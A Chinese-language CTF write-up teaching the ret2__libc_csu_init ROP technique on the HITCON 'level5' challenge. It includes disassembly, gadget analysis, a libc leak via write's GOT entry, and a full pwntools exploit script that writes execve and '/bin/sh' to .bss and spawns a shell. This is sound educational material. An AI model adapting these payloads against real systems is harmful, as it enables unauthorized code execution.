中级ROP 中级 ROP 主要是使用了一些比较巧妙的 Gadgets。
ret2__libc_csu_init 例子 链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2__libc_csu_init/hitcon-level5
checksec查看保护机制:
1 2 3 4 5 6 [*] '/home/bi0x/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/medium_rop/level5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
程序为 64 位,开启了堆栈不可执行保护。
IDA打开:
read可以溢出。
程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。
基本利用思路如下:
利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行main 函数。
再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。
先找偏移 :
1 char buf; // [rsp+0h] [rbp-80h]
偏移量为0x80 + 0x8 = 0x88 (加8是因为程序是64位的)
查找got表:
1 2 3 4 5 6 7 8 9 10 gdb-peda$ got /home/bi0x/桌面/pwn/medium_rop/level5: 文件格式 elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000601018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5 0000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5 0000000000601028 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
没有system函数,也找不到/bin/sh字符串,所以只能用libc泄漏函数地址来进行利用。我们这里选择用write函数来利用,打印出write_got函数的地址,再去寻找相对应的libc,当然也可以选用__libc_start_main来利用。
Libc_scu_init利用方法:
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)
ida打开例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 .text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o .text:00000000004005C0 ; __unwind { .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 ; } // starts at 4005C0 .text:0000000000400624 __libc_csu_init endp
从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx,将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试) ,所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx + 1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。
利用libc_init来泄漏write函数地址:
1 playload = 'A' *136 + p64(pop_addr) + p64(0 ) + p64(1 ) + p64(write_got) + p64(8 ) + p64(write_got) + p64(1 ) + p64(mov_addr) + 'a' *(0x8 +8 *6 ) + p64(main_addr)
gadget 位于 0x400600 和 0x40061a地址。 先借用 0x40061a 处的 gadget 将想要压入寄存器的参数压入。 顺序依次 rbx,rbp,r12,r13,r14,r15,特别是rbx = 0, rbp = 1,r12 = target_function。 然后再调用 0x400600 处的 gadget 将 r13,r14,r15 的值和rdx,rsi,edi交换。
这里要注意的点是调用write函数去泄漏write_got地址的时候不要用write_plt表,而仍然要用write_got。
再看看write_got调用情况:
正是我们所想要的write函数地址
查看泄漏出的地址:
为0x7fcf2fd482b0,查询对应的libc:
1 2 3 bi0x@ubuntu:~/libc-database$ ./find write 0x7fcf2fd482b0 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64)
应该是第一个。
重新执行main函数,execve写入bss段:
因为这里我没有泄漏出libc表中system函数地址,所以我们这里选用execve函数来拿shell。
前面泄漏出execve地址就不详细说了。
1 playload1 = 'A' *136 + p64(pop_addr) + p64(0 ) + p64(1 ) + p64(read_got) + p64(16 ) + p64(bss_addr) + p64(0 ) + p64(mov_addr) + 'a' *(0x8 +8 *6 ) + p64(main_addr)
这里选用read函数来写入bss段。再把字符串/bin/sh也写入进去。
1 p.send(p64(execv_addr)+'/bin/sh\x00' )
把execve函数的地址写入bss段再去使用该bss段地址执行。
再次执行main函数,调用execve函数getshell:
1 playload2 = 'A' *136 + p64(pop_addr) + p64(0 ) + p64(1 ) + p64(bss_addr) + p64(0 ) + p64(0 ) + p64(bss_addr + 8 ) + p64(mov_addr)
这里就在所要call的函数地址写上bss段的地址,系统则会调用bss段上的execve地址。
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *p = process('./level5' ) elf = ELF('level5' ) libc = ELF('libc.so.6' ) pop_addr = 0x40061a write_plt = elf.plt['write' ] write_got = elf.got['write' ] mov_addr = 0x400600 main_addr = elf.symbols['main' ] read_got = elf.got['read' ] bss_addr = elf.bss() p.recvuntil('Hello, World\n' ) playload = 'A' *136 + p64(pop_addr) + p64(0 ) + p64(1 ) + p64(write_got) + p64(8 ) + p64(write_got) + p64(1 ) + p64(mov_addr) + 'a' *(0x8 +8 *6 ) + p64(main_addr) p.sendline(playload) write_start = u64(p.recv(8 )) print hex(write_start)libc_base = write_start - libc.symbols['write' ] execv_addr = libc_base + libc.symbols['execve' ] sleep(1 ) p.recvuntil('Hello, World\n' ) playload1 = 'A' *136 + p64(pop_addr) + p64(0 ) + p64(1 ) + p64(read_got) + p64(16 ) + p64(bss_addr) + p64(0 ) + p64(mov_addr) + 'a' *(0x8 +8 *6 ) + p64(main_addr) p.sendline(playload1) sleep(1 ) p.send(p64(execv_addr)+'/bin/sh\x00' ) p.recvuntil('Hello, World\n' ) playload2 = 'A' *136 + p64(pop_addr) + p64(0 ) + p64(1 ) + p64(bss_addr) + p64(0 ) + p64(0 ) + p64(bss_addr + 8 ) + p64(mov_addr) p.sendline(playload2) p.interactive()
思考 改进 在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法
改进1 - 提前控制 rbx 与 rbp 可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要112。
改进2-多次利用 其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件
漏洞可以被多次触发
在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。
当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。
gadget 其实,除了上述这个gadgets,gcc默认还会编译进去一些其它的函数
1 2 3 4 5 6 7 8 9 10 _init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini
我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。
需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器
利用尾部代码控制了rbx,rbp,r12,r13,r14,r15。
利用中间部分的代码控制了rdx,rsi,edi。
而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在0x0000000000400621 处可以控制 rsi寄存器。 而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 gef➤ x/5i 0x000000000040061A 0x40061a <__libc_csu_init+90>: pop rbx 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 gef➤ x/5i 0x000000000040061b 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 gef➤ x/5i 0x000000000040061A+3 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret gef➤ x/5i 0x000000000040061e 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061f 0x40061f <__libc_csu_init+95>: pop rbp 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x0000000000400620 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] gef➤ x/5i 0x0000000000400621 0x400621 <__libc_csu_init+97>: pop rsi 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061A+9 0x400623 <__libc_csu_init+99>: pop rdi 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] 0x400630 <__libc_csu_fini>: repz ret
参考
ret2reg 原理
查看溢出函返回时哪个寄存值指向溢出缓冲区空间
然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
reg所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)